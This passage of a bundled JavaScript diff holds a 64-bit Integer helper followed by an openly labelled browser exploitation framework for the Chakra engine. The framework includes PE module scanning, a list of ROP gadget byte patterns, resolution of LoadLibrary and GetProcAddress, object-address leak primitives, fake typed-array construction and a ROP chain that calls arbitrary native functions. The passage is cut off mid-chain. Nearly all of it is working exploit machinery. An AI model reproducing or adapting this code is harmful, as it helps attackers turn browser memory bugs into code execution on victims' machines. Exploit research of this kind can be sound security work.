this.size); + }; + + /** + * Returns the bitwise XOR of this Integer and the given one. + * @param {!Integer|number|string} other Other Integer + * @returns {!Integer} + */ + IntegerPrototype.xor = function xor(other) { + if (!isInteger(other)) + other = fromValue(other); + return fromBits(this.low ^ other.low, this.high ^ other.high, this.unsigned, this.size); + }; + + /** + * Returns this Integer with bits shifted to the left by the given amount. + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shiftLeft = function shiftLeft(numBits) { + if (isInteger(numBits)) + numBits = numBits.toInt(); + if ((numBits &= 63) === 0) + return this; + else if (numBits < 32) + return fromBits(this.low << numBits, (this.high << numBits) | (this.low >>> (32 - numBits)), this.unsigned, this.size); + else + return fromBits(0, this.low << (numBits - 32), this.unsigned, this.size); + }; + + /** + * Returns this Integer with bits shifted to the left by the given amount. This is an alias of {@link Integer#shiftLeft}. + * @function + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shl = IntegerPrototype.shiftLeft; + + /** + * Returns this Integer with bits arithmetically shifted to the right by the given amount. + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shiftRight = function shiftRight(numBits) { + if (isInteger(numBits)) + numBits = numBits.toInt(); + if ((numBits &= 63) === 0) + return this; + else if (numBits < 32) + return fromBits((this.low >>> numBits) | (this.high << (32 - numBits)), this.high >> numBits, this.unsigned, this.size); + else + return fromBits(this.high >> (numBits - 32), this.high >= 0 ? 0 : -1, this.unsigned, this.size); + }; + + /** + * Returns this Integer with bits arithmetically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRight}. + * @function + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shr = IntegerPrototype.shiftRight; + + /** + * Returns this Integer with bits logically shifted to the right by the given amount. + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shiftRightUnsigned = function shiftRightUnsigned(numBits) { + if (isInteger(numBits)) + numBits = numBits.toInt(); + numBits &= 63; + if (numBits === 0) + return this; + else { + var high = this.high; + if (numBits < 32) { + var low = this.low; + return fromBits((low >>> numBits) | (high << (32 - numBits)), high >>> numBits, this.unsigned, this.size); + } else if (numBits === 32) + return fromBits(high, 0, this.unsigned, this.size); + else + return fromBits(high >>> (numBits - 32), 0, this.unsigned, this.size); + } + }; + + /** + * Returns this Integer with bits logically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRightUnsigned}. + * @function + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shru = IntegerPrototype.shiftRightUnsigned; + + /** + * Converts this Integer to signed. + * @returns {!Integer} Signed long + */ + IntegerPrototype.toSigned = function toSigned() { + if (!this.unsigned) + return this; + return fromBits(this.low, this.high, false, this.size); + }; + + /** + * Converts this Integer to unsigned. + * @returns {!Integer} Unsigned long + */ + IntegerPrototype.toUnsigned = function toUnsigned() { + if (this.unsigned) + return this; + return fromBits(this.low, this.high, true, this.size); + }; + + /** + * Converts this Integer to its byte representation. + * @param {boolean=} le Whether little or big endian, defaults to big endian + * @returns {!Array.} Byte representation + */ + IntegerPrototype.toBytes = function(le) { + return le ? this.toBytesLE() : this.toBytesBE(); + } + + /** + * Converts this Integer to its little endian byte representation. + * @returns {!Array.} Little endian byte representation + */ + IntegerPrototype.toBytesLE = function() { + var hi = this.high, + lo = this.low; + return [ + lo & 0xff, + (lo >>> 8) & 0xff, + (lo >>> 16) & 0xff, + (lo >>> 24) & 0xff, + hi & 0xff, + (hi >>> 8) & 0xff, + (hi >>> 16) & 0xff, + (hi >>> 24) & 0xff + ]; + } + + /** + * Converts this Integer to its big endian byte representation. + * @returns {!Array.} Big endian byte representation + */ + IntegerPrototype.toBytesBE = function() { + var hi = this.high, + lo = this.low; + return [ + (hi >>> 24) & 0xff, + (hi >>> 16) & 0xff, + (hi >>> 8) & 0xff, + hi & 0xff, + (lo >>> 24) & 0xff, + (lo >>> 16) & 0xff, + (lo >>> 8) & 0xff, + lo & 0xff + ]; + } + + return Integer; +})(); + +/* harmony default export */ __webpack_exports__["a"] = (Integer); + + +/***/ }), +/* 1 */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_integer__ = __webpack_require__(0); + + +/** + * Constructs a base exploit that provides useful data types and utility functions. + * + * @class A base exploit class for browser exploit development. + * @param {number} bitness The bitness of the target process. + * @constructor + */ +function BaseExploit(bitness) { + // in bytes + var DEFAULT_ALIGNMENT = bitness / 8; + var POINTER_SIZE = bitness / 8; + + var libraries = {}; + var strings = []; + var exploit = this; + + function cString(s) { + var ss = ''; + for (var i = 0; i < s.length / 2 + 2; i++) { + ss += String.fromCharCode((s.charCodeAt(i*2)|0) + ((s.charCodeAt(i*2+1)|0) << 8)); + } + return wString(ss); + } + + function wString(s) { + strings.push(s); + parseInt(s); + return exploit.addressOfString(s); + } + + function getProcAddress(library, procName) { + var addr = exploit.call(toIntMax(exploit.GetProcAddress), toIntMax(library), toIntMax(cString(procName))); + if (addr == 0) { + throw 'missing import ' + procName; + } + return addr; + } + + function loadLibrary(dllName) { + if (exploit.LoadLibraryA !== undefined) { + return exploit.call(toIntMax(exploit.LoadLibraryA), toIntMax(cString(dllName))); + } else if (exploit.LoadLibraryW !== undefined) { + return exploit.call(toIntMax(exploit.LoadLibraryW), toIntMax(wString(dllName))); + } else if (exploit.LoadLibraryExA !== undefined) { + return exploit.call(toIntMax(exploit.LoadLibraryExA), toIntMax(cString(dllName)), toIntMax(0), toIntMax(0)); + } else if (exploit.LoadLibraryExW !== undefined) { + return exploit.call(toIntMax(exploit.LoadLibraryExW), toIntMax(wString(dllName)), toIntMax(0), toIntMax(0)); + } else { + throw 'missing load library address'; + } + } + + /** + * Loads a DLL (if not loaded already) and finds the given export. + * @instance + * @memberof BaseExploit + * @param {string} dllName The name of DLL to find the function from. + * @param {string} funcName The name of function to import. + * @param {Type} returnType The type of the function return. + * @returns {function} + */ + function importFunction(dllName, funcName, returnType) { + returnType = returnType || null; + if (libraries[dllName] === undefined) { + libraries[dllName] = loadLibrary(dllName); + } + return new FunctionType(returnType).cast(getProcAddress(libraries[dllName], funcName)); + } + + var pointerProxyHandler = { + get: function(target, property) { + try { + var idx = parseInt(property); + } catch (e) { + return target[property]; + } + if (isNaN(idx)) { + return target[property]; + } else { + return target.add(idx).load(); + } + }, + set: function(target, property, value) { + try { + var idx = parseInt(property); + } catch (e) { + target[property] = value; + } + if (isNaN(idx)) { + target[property] = value; + } else { + target.add(idx).store(value); + } + }, + }; + + /** + * Constructs a pointer to a certain type. + * + * @param {Type} base type + * @param {Integer} address + * @instance + * @memberof BaseExploit + * @class + * @constructor + */ + function Pointer(type, address) { + this.type = type; + this.address = address; + return new Proxy(this, pointerProxyHandler); + } + Pointer.prototype = {}; + /** + * Returns a new pointer with result of pointer arithmetic. + * + * @param {Integer|number} x addend + * @returns {Pointer} + */ + Pointer.prototype.add = function (x) { + return new Pointer(this.type, this.address.add(toIntMax(x).mul(this.type.size))); + }; + /** + * Returns the value stored at the pointer address. Alternatively, array syntax is supported. + * + * @returns {Integer|Pointer} + */ + Pointer.prototype.load = function () { + return this.type.load(this.address); + }; + /** + * Stores the value at the pointer address. Alternatively, array syntax is supported. + * + * @param {Integer|Pointer} value + */ + Pointer.prototype.store = function (x) { + return this.type.store(this.address, x); + }; + /** + * Converts the Pointer to a hexadecimal string. + * + * @returns {string} + */ + Pointer.prototype.toString = function () { + return '&0x' + this.address.toString(16); + }; + /** + * Returns whether address is zero. + * + * @returns {boolean} + */ + Pointer.prototype.isNull = function () { + return this.address.eq(0); + }; + + /** Constructs a pointer to a C string. + * + * @param {string} s A string to make into a C string. + * @instance + * @memberof BaseExploit + * @augments Pointer + * @class + * @constructor + */ + function CString(s) { + return Pointer.call(this, Uint8, cString(s)); + } + CString.prototype = Object.create(Pointer.prototype); + CString.prototype.constructor = CString; + + /** + * Constructs a pointer to a UTF-16 string. + * @param {string} s A string to make into a UTF-16 string. + * @instance + * @memberof BaseExploit + * @augments Pointer + * @class + * @constructor + */ + function WString(s) { + return Pointer.call(this, Uint16, wString(s)); + } + WString.prototype = Object.create(Pointer.prototype); + WString.prototype.constructor = WString; + + /** + * Type base class. Internal. + * @instance + * @memberof BaseExploit + * @class + * @constructor + */ + function Type() { + } + Type.prototype = { + /** + * Constructs a PointerType of this type. + * + * @returns {PointerType} + */ + get Ptr () { + if (!this._ptr) { + this._ptr = new PointerType(this); + } + return this._ptr; + } + }; + Type.prototype.constructor = Type; + + /** + * Constructs a pointer type. + * @param {Type} base Base type + * @instance + * @memberof BaseExploit + * @augments Type + * @class + * @constructor + */ + function PointerType(base) { + Type.call(this); + this.baseType = base; + this.alignment = POINTER_SIZE; + this.size = POINTER_SIZE; + } + PointerType.prototype = Object.create(Type.prototype); + PointerType.prototype.constructor = PointerType; + /** + * Create a pointer to the given address with our base type. + * + * @param {Integer|Pointer} x Memory address + * @returns {Pointer} + */ + PointerType.prototype.cast = function (x) { + x = toIntMax(x); + if (this.baseType instanceof ArrayType) { + return new Pointer(this.baseType.baseType, new __WEBPACK_IMPORTED_MODULE_0_integer__["a" /* default */](x.low, x.high, true, POINTER_SIZE * 8)); + } else if (this.baseType instanceof StructType) { + return new StructPointer(this.baseType, new __WEBPACK_IMPORTED_MODULE_0_integer__["a" /* default */](x.low, x.high, true, POINTER_SIZE * 8)); + } else { + return new Pointer(this.baseType, new __WEBPACK_IMPORTED_MODULE_0_integer__["a" /* default */](x.low, x.high, true, POINTER_SIZE * 8)); + } + } + PointerType.prototype.load = function (address) { + return this.cast(exploit.read(address, POINTER_SIZE * 8)); + } + PointerType.prototype.store = function (address, x) { + return exploit.write(address, toIntMax(x), POINTER_SIZE * 8); + } + + /** + * Constructs a function pointer type. + * @param {Type} returnType Type of return value + * @instance + * @memberof BaseExploit + * @augments Type + * @class + * @constructor + */ + function FunctionType(returnType) { + Type.call(this); + this.returnType = returnType; + } + FunctionType.prototype = Object.create(Type.prototype); + FunctionType.prototype.constructor = FunctionType; + /** + * Create a function pointer with the given address. Can be called like a Javascript function. + * + * @param {Integer|Pointer} x Memory address + * @returns {function} + */ + FunctionType.prototype.cast = function (ptr) { + var returnType = this.returnType || null; + var f = function(...args) { + var result = exploit.call(ptr, ...args); + if (returnType) { + result = returnType.cast(result); + } + return result; + }; + f.address = ptr; + f.toString = function() { + return '&0x' + this.address.toString(16); + }; + return f; + } + + var structPointerProxyHandler = { + get: function(target, property) { + var offset = target.type.offsets[property]; + if (offset !== undefined) { + var t = target.type.types[property]; + var p = new PointerType(t).cast(target.address.add(offset)); + if (t instanceof ArrayType || t instanceof StructType) { + return p; + } + return p.load(); + } else { + try { + var idx = parseInt(property); + } catch (e) { + return target[property]; + } + if (isNaN(idx)) { + return target[property]; + } else { + return target.add(idx); + } + } + }, + set: function(target, property, value) { + var offset = target.type.offsets[property]; + if (offset !== undefined) { + var t = target.type.types[property]; + if (t instanceof StructType) { + throw 'cannot set struct field'; + } + var p = new PointerType(t).cast(target.address.add(offset)); + p.store(value); + } else { + try { + var idx = parseInt(property); + } catch (e) { + target[property] = value; + } + if (isNaN(idx)) { + target[property] = value; + } else { + throw 'cannot set struct via array syntax'; + } + } + }, + }; + /** + * Constructs a pointer to a structure type. Internal. + * + * @param {Type} base type + * @param {Integer} address + * @instance + * @memberof BaseExploit + * @class + * @constructor + */ + function StructPointer(type, address) { + this.type = type; + this.address = address; + return new Proxy(this, structPointerProxyHandler); + } + StructPointer.prototype = {}; + StructPointer.prototype.add = function (x) { + return new StructPointer(this.type, this.address.add(toIntMax(x).mul(this.type.size))); + }; + StructPointer.prototype.toString = function () { + return '&0x' + this.address.toString(16); + }; + /** + * Constructs a structure type. + * @param {Array} fields Description of structure's fields + * @param {integer} [alignment] Override default alignment + * @instance + * @memberof BaseExploit + * @augments Type + * @class + * @constructor + */ + function StructType(fields, alignment) { + Type.call(this); + alignment = alignment || DEFAULT_ALIGNMENT; + this.fields = fields; + + this.alignment = 0; + this.offsets = {}; + this.types = {}; + var offset = 0; + for (var i = 0; i < fields.length; i++) { + var name = fields[i][0], type = fields[i][1]; + if (this.offsets[name] !== undefined) { + throw 'duplicate field name'; + } + var a = Math.min(alignment, type.alignment); + this.alignment = Math.max(this.alignment, a); + if (offset % a) { + offset += a - (offset % a); + } + this.offsets[name] = offset; + this.types[name] = type; + offset += type.size; + } + if (offset == 0) { + throw 'empty struct'; + } + if (offset % this.alignment) { + offset += this.alignment - (offset % this.alignment); + } + this.size = offset; + } + StructType.prototype = Object.create(Type.prototype); + StructType.prototype.constructor = StructType; + + /** + * Constructs an array type. + * @param {Type} base Base type + * @param {integer} length Number of array elements + * @instance + * @memberof BaseExploit + * @augments Type + * @class + * @constructor + */ + function ArrayType(base, length) { + Type.call(this); + this.baseType = base; + this.length = length; + this.alignment = this.baseType.alignment; + this.size = this.length * this.baseType.size; + } + ArrayType.prototype = Object.create(Type.prototype); + ArrayType.prototype.constructor = ArrayType; + ArrayType.prototype.load = function (address) { + var result = new Array(this.length); + var size = this.baseType.size; + for (var i = 0; i < this.length; i++) { + result[i] = this.baseType.load(address); + address = address.add(size); + } + return result; + } + ArrayType.prototype.store = function (address, x) { + var size = this.baseType.size; + for (var i = 0; i < x.length; i++) { + this.baseType.store(address, x[i]); + address = address.add(size); + } + } + + /** + * Constructs an integer type. Internal. Use predefined Int and Uint type objects. + * @param {integer} bits Bit size + * @param {boolean} signed Whether signed or not + * @instance + * @memberof BaseExploit + * @augments Type + * @class + * @constructor + */ + function IntType(bits, signed) { + Type.call(this); + this.bits = bits; + this.signed = signed; + this.alignment = bits / 8; + this.size = bits / 8; + } + IntType.prototype = Object.create(Type.prototype); + IntType.prototype.constructor = IntType; + IntType.prototype.cast = function (x) { + x = toIntMax(x); + return new __WEBPACK_IMPORTED_MODULE_0_integer__["a" /* default */](x.low, x.high, !this.signed, this.bits); + } + IntType.prototype.load = function (address) { + return this.cast(exploit.read(address, this.bits)); + } + IntType.prototype.store = function (address, x) { + return exploit.write(address, toIntMax(x), this.bits); + } + + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Int8 = new IntType(8, true); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Int16 = new IntType(16, true); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Int32 = new IntType(32, true); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Int64 = new IntType(64, true); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Uint8 = new IntType(8, false); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Uint16 = new IntType(16, false); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Uint32 = new IntType(32, false); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Uint64 = new IntType(64, false); + + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Int8Ptr = new PointerType(Int8); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Int16Ptr = new PointerType(Int16); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Int32Ptr = new PointerType(Int32); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Int64Ptr = new PointerType(Int64); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Uint8Ptr = new PointerType(Uint8); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Uint16Ptr = new PointerType(Uint16); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Uint32Ptr = new PointerType(Uint32); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Uint64Ptr = new PointerType(Uint64); + + function toIntMax(x) { + if ('object' !== typeof x) { + return __WEBPACK_IMPORTED_MODULE_0_integer__["a" /* default */].fromValue(x); + } else if (x instanceof Pointer || x instanceof StructPointer) { + return new __WEBPACK_IMPORTED_MODULE_0_integer__["a" /* default */](x.address.low, x.address.high); + } else if (x instanceof __WEBPACK_IMPORTED_MODULE_0_integer__["a" /* default */]) { + return new __WEBPACK_IMPORTED_MODULE_0_integer__["a" /* default */](x.low, x.high); + } else { + throw 'unhandled type'; + } + } + + Object.assign(this, { + importFunction, + Pointer, + CString, + WString, + ArrayType, + FunctionType, + PointerType, + StructType, + Integer: __WEBPACK_IMPORTED_MODULE_0_integer__["a" /* default */], + Int8, + Int16, + Int32, + Int64, + Uint8, + Uint16, + Uint32, + Uint64, + Int8Ptr, + Int16Ptr, + Int32Ptr, + Int64Ptr, + Uint8Ptr, + Uint16Ptr, + Uint32Ptr, + Uint64Ptr, + }); +} +BaseExploit.prototype = {}; +/** + * Find the beginning of a PE module given any address in the module. + * + * @param {Integer} address Any address in the PE module + * @returns {Integer} + */ +BaseExploit.prototype.findModuleBase = function (address) { + address.low &= 0xFFFF0000; // align to 64kb-boundary + while (true) { + var p = this.Uint8Ptr.cast(address); + if (p[0] == 0x4D && p[1] == 0x5A) { + var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0]; + if (peOffset < 0x1000 && p[peOffset] == 0x50 && p[peOffset.add(1)] == 0x45) { + return address; + } + } + address = address.sub(0x10000); + } +} +/** + * Find a set of bytes in a PE module. + * + * @param {Integer|Pointer} module Base address of PE module + * @param {Array} bytes Bytes to locate + * @returns {Integer} + */ +BaseExploit.prototype.findGadget = function (module, bytes) { + var p = this.Uint8Ptr.cast(module); + var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0]; + var imageSize = this.Uint32Ptr.cast(module.add(peOffset))[20]; + var bytesLength = bytes.length; + var firstByte = bytes[0]; + for (var i = 0x1000; i < imageSize; i++) { + if ((i % 4) == 0) { + // Optimization: check for first byte within current 4 bytes + var x = this.Uint32Ptr.cast(p.add(i))[0].low; + if (((x >>> 0) & 0xFF) != firstByte && + ((x >>> 8) & 0xFF) != firstByte && + ((x >>> 16) & 0xFF) != firstByte && + ((x >>> 24) & 0xFF) != firstByte) { + i += 3; + continue; + } + } + for (var j = 0; j < bytesLength; j++) { + if (bytes[j] != p[i + j]) { + break; + } + } + if (j == bytesLength) { + return p.add(i); + } + i += j; + } + return null; +} +/** + * Find multiple sets of bytes in a PE module. + * + * @param {Integer|Pointer} module Base address of PE module + * @param {Array} query Array of gadgets to find + * @returns {object} + */ +BaseExploit.prototype.findGadgets = function (module, query) { + var p = this.Uint8Ptr.cast(module); + var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0]; + var codeSize = this.Uint32Ptr.cast(module.add(peOffset))[7]; + var array = new Int32Array(codeSize / 4); + var address = p.address.add(0x1000); + for (var i = 0x1000; i < codeSize; i += 8) { + var x = this.read(address, 64); + array[i / 4] = x.low; + array[i / 4 + 1] = x.high; + address.low += 8; + } + + var byteArray = new Uint8Array(array.buffer); + var gadgets = {}; + query.forEach((gadget) => { + var name = gadget[0], bytes = gadget[1]; + var idx = 0; + while (true) { + idx = byteArray.indexOf(bytes[0], idx); + if (idx < 0) { + throw 'missing gadget ' + name; + } + for (var j = 1; j < bytes.length; j++) { + if (byteArray[idx + j] != bytes[j]) { + break; + } + } + if (j == bytes.length) { + break; + } + idx++; + } + gadgets[name] = p.add(idx); + }); + return gadgets; +} + +/* harmony default export */ __webpack_exports__["a"] = (BaseExploit); + + +/***/ }), +/* 2 */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_baseexploit__ = __webpack_require__(1); +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_integer__ = __webpack_require__(0); + + + +/** + * Constructs an exploit with sensible defaults for Chakra. Child must call initChakra method once read and write methods are available. + * + * @augments BaseExploit + * @class + * @constructor + */ +function ChakraExploit() { + var exploit = this; + __WEBPACK_IMPORTED_MODULE_0_baseexploit__["a" /* default */].call(this, 64); + + /** + * Constructs a thread using a Web Worker. The worker script must create a {@link ChakraThreadExploit} object. + * + * @memberof ChakraExploit + * @instance + * @class + * @constructor + */ + function Thread(url) { + var worker = new Worker(url); + worker.onmessage = (e) => { + if (e.data == 'CHAKRA_EXPLOIT') { + var stackLimit = exploit.globalListFirst.load()[exploit.threadContextStackLimit]; + // Default stack size of web worker + // 1 MB + var stackSize = 1 * 1024 * 1024; + var stackTop = stackLimit.sub(0xc000).add(stackSize); + var stk = exploit.Uint64Ptr.cast(stackTop).add(-1); + while (!new __WEBPACK_IMPORTED_MODULE_1_integer__["a" /* default */](0x41424344, 0x10000).eq(stk.load())) { + stk = stk.add(-1); + if (stk.address <= stackTop.sub(0x10000)) { + throw 'unable to find canary'; + } + } + var worker = exploit.Uint64Ptr.cast(stk[1]); + var manager = exploit.Uint64Ptr.cast(stk[2]); + manager[7] = worker; + } else if (this.onmessage) { + return this.onmessage(e); + } + } + /** + * @memberof ChakraExploit#Thread + * @instance + * @function onmessage + */ + this.onmessage = null; + /** + * postMessage to web worker + * @function + */ + this.postMessage = worker.postMessage.bind(worker); + } + this.Thread = Thread; +} +ChakraExploit.prototype = Object.create(__WEBPACK_IMPORTED_MODULE_0_baseexploit__["a" /* default */].prototype); +ChakraExploit.prototype.constructor = ChakraExploit; +/** + * Initializes Chakra helpers using memory read and write. + * + * @param {Integer|Pointer} vtable Any address in the chakra DLL + */ +ChakraExploit.prototype.initChakra = function (vtable) { + this.chakraBase = this.findModuleBase(vtable); + + var gadgets = [ + ['callLoadLibraryExW', [0x48, 0x8B, 0xC8, 0x33, 0xD2, 0x41, 0xB8, 0x00, 0x08, 0x00, 0x00, 0xFF, 0x15]], + ['jmpGetProcAddress', [0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x49, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x0B, 0x48, 0x83, 0xC4, 0x28, 0x48, 0xFF, 0x25]], + ['nopReturn', [0xC3]], + ['popRaxReturn', [0x58, 0xC3]], + ['popRcxReturn', [0x59, 0xC3]], + ['popRdxReturn', [0x5A, 0xC3]], + ['popRspReturn', [0x5C, 0xC3]], + ['popRbpReturn', [0x5D, 0xC3]], + ['popRsiReturn', [0x5E, 0xC3]], + ['addRsp58Return', [0x48, 0x83, 0xC4, 0x58, 0xC3]], + ['storeRaxAtRdxReturn', [0x48, 0x89, 0x02, 0xC3]], + ['entrySlice', [0x8B, 0xF8, 0x41, 0x83, 0xFC, 0x02]], + ['amd64CallFunction', [0x4C, 0x8B, 0x4E, 0x08, 0x4C, 0x8B, 0x06, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0, 0x48, 0x8B, 0xE5, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3]], + ['linkToBeginningThreadContext', [0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x48, 0x89, 0x48, 0x08, 0x48, 0x83, 0x61]], + ]; + this.gadgets = this.findGadgets(this.chakraBase, gadgets); + // initialize ThreadContext information + this.threadContextPrev = this.gadgets.linkToBeginningThreadContext[18] / 8; + this.threadContextNext = this.gadgets.linkToBeginningThreadContext[30] / 8; + this.globalListFirst = new this.PointerType(this.Uint64Ptr).cast(this.Uint64.cast(this.gadgets.linkToBeginningThreadContext).add(27).add(this.Int32Ptr.cast(this.gadgets.linkToBeginningThreadContext.add(23))[0])); + var p = this.globalListFirst[0]; + for (var i = 0;; i++) { + if ((p[i] & 0xffff) == 0xc000) { + break; + } + } + this.threadContextStackLimit = i; + // initialize LoadLibraryExW and GetProcAddress + var p = this.gadgets.callLoadLibraryExW.add(17).add(this.Int32Ptr.cast(this.gadgets.callLoadLibraryExW.add(13)).load()); + this.LoadLibraryExW = new this.PointerType(this.Uint8Ptr).cast(p).load(); + var p = this.gadgets.jmpGetProcAddress.add(23).add(this.Int32Ptr.cast(this.gadgets.jmpGetProcAddress.add(19)).load()); + this.GetProcAddress = new this.PointerType(this.Uint8Ptr).cast(p).load(); + // initialize stackTop + this.findStackTop(); + // initialize support for fast addressOf + this.locateArray = [{}]; + this.locateArrayPtr = new this.PointerType(this.Uint64Ptr).cast(this.addressOfSlow(this.locateArray))[5].add(3); + if (!this.addressOfSlow(this.locateArray[0]).address.eq(this.locateArrayPtr[0])) { + throw 'init of addressOf failed!' + } +} +/** + * Returns the address of a Javascript object. + * + * @param {*} obj Any Javascript object + * @returns {Pointer} + */ +ChakraExploit.prototype.addressOf = function (obj) { + this.locateArray[0] = obj; + return this.locateArrayPtr[0]; +} +/** + * Returns the address of a string. Points to the string's bytes. + * + * @param {string} s A Javascript string + * @returns {Pointer} + */ +ChakraExploit.prototype.addressOfString = function (s) { + return this.Uint64Ptr.cast(this.addressOf(s).add(0x10)).load(); +} +ChakraExploit.prototype.findStackTop = function () { + if (this.stackTop === undefined) { + // Default stack size of browser tab + // 10 MB + // Default stack size of web worker + // 1 MB + if ('undefined' !== typeof WorkerGlobalScope) { + var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit]; + var stackSize = 1 * 1024 * 1024; + } else { + var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit]; + var stackSize = 10 * 1024 * 1024; + } + var stackTop = stackLimit.sub(0xc000).add(stackSize); + this.stackTop = stackTop; + } +} +/** + * Returns the address of a Javascript object. Internal. + * + * @param {*} obj Any Javascript object + * @returns {Pointer} + */ +ChakraExploit.prototype.addressOfSlow = function (obj) { + var address; + eval('String.prototype.slice').call('', { + valueOf: () => { + var gadgets = this.gadgets; + var stk = this.Uint64Ptr.cast(this.stackTop).add(-1); + while (!this.Uint64.cast(gadgets.entrySlice).eq(stk.load())) { + stk = stk.add(-1); + if (stk.address <= this.stackTop.sub(0x10000)) { + throw 'unable to find entrySlice'; + } + } + while (!this.Uint64.cast(gadgets.amd64CallFunction).add(13).eq(stk.load())) { + stk = stk.add(1); + if (stk.address >= this.stackTop) { + throw 'unable to find amd64CallFunction'; + } + } + while (!stk[0].eq(new __WEBPACK_IMPORTED_MODULE_1_integer__["a" /* default */](0x42424242, 0x10000)) || !stk[2].eq(new __WEBPACK_IMPORTED_MODULE_1_integer__["a" /* default */](0x41414141, 0x10000))) { + stk = stk.add(1); + if (stk.address >= this.stackTop) { + throw 'unable to find canaries'; + } + } + address = this.Uint8Ptr.cast(stk[1]); + } + }, 0, 0, 0, obj, 0x42424242, obj, 0x41414141); + return address; +} +ChakraExploit.prototype.customInt32Array = function (address) { + var i32 = new Int32Array(1); + var p = this.Uint64Ptr.cast(this.addressOf(i32)); + p[4] = 0x7FFFFFFF; + p[7] = address; + return i32; +} +/** + * Call a function pointer with the given arguments. Used internally by FunctionPointer. + * + * @param {Integer} address + * @param {...Integer} args + * @returns {Integer} + */ +ChakraExploit.prototype.call = function (address, ...args) { + if (args.length > 10) { + throw 'too many arguments'; + } + var returnValAddr; + eval('String.prototype.slice').call('', { + valueOf: () => { + var gadgets = this.gadgets; + var amd64CallFunction = this.Uint64.cast(gadgets.amd64CallFunction).add(13); + var entrySlice = this.Uint64.cast(gadgets.entrySlice); + var stackBottom = this.stackTop.sub(0x10000); + var stk = this.customInt32Array(stackBottom); + for (var i = 0x10000 / 8 - 8; i >= 0; i -= 1) { + if (entrySlice.low == stk[i*2] && entrySlice.high == stk[i*2+1]) { + break; + } + } + if (i == 0) { + throw 'unable to find entrySlice'; + } + while (amd64CallFunction.low != stk[i*2] || amd64CallFunction.high != stk[i*2+1]) { + i++; + if (i == 0x10000 / 8) { + throw 'unable to find amd64CallFunction'; + } + } + var stk = this.Uint64Ptr.cast(stackBottom.add(i * 8)); + var savedRbpAddr = stk.add(-2); + stk = stk.add(-0x20000 / 8); + var i32 = this.customInt32Array(stk); + // probe stack + for (var i = 0x20; i >= 0; i--) { + let x = i32[i * 0x1000 / 4]; + } + // helper for writing Uint64 to Int32Array + function write64(i32, i, val) { + if (val.address) { + val = val.address; + } else { + val = __WEBPACK_IMPORTED_MODULE_1_integer__["a" /* default */].fromValue(val); + } + i32[i * 2 + 0] = val.low; + i32[i * 2 + 1] = val.high; + } + // ROP chain + // skip saved rbp, rdi, rsi, rbx + i = 4; + // pop r8 and r9 using code in amd64_CallFunction + write64(i32, i, gadgets.popRsiReturn); + i++; + write64(i32, i, stk); + i++; + if (args[2] !== undefined) + write64(i32, 0, args[2]); // r8 + if (args[3] !== undefined) + write64(i32, 1, args[3]); // r9 + write64(i32, i, gadgets.popRaxReturn); + i++; + write64(i32, i, gadgets.nopReturn); + i++; + write64(i32, i, gadgets.popRbpReturn); + i++; + write64(i32, i, stk.add(i - 2)); + i++; + write64(i32, i, gadgets.amd64CallFunction); + i++; + write64(i32, i, gadgets.popRdxReturn); + i++; + if (args[1] !== undefined) + write64(i32, i, args[1]); + i++; + write64(i32, i, gadgets.popRcxReturn); + i++; + if (args[0] !== undefined) + write64(i32, i, args[0]); + i++; + write64(i32, i, address); + i++; + write64(i32, i, gadgets.addRsp58Return); + i++; + i += 4; // skip 0x20 shadow space + if (args[4] !== undefined) + write64(i32, i, args[4]); + i++; + if (args[5] !== undefined) + write64(i32, i, args[5]); + i++; + if (args[6] !== undefined) + write64(i32, i, args[6]); + i++; + if (args[7] !== undefined) + write64(i32, i, args[7]); + i++; + if (args[8] !== undefined) + write64(i32, i, args[8]); + i++; + if (args[9] !== undefined) + write64(i32, i, args[9]); + i++; + if (args[10] !== undefined) + write64(i32, i, args[10]); + i++; + write64(i32, i, gadgets.popRdxReturn); + i++; + write64(i32, i, stk); + i++; + write64(i32, i, gadgets.storeRaxAtRdxReturn); + i++; + write64(i32, i, gadgets.popRaxReturn); + i++; + write64(i32, i, new __WEBPACK_IMPORTED_MODULE_1_integer__["a" 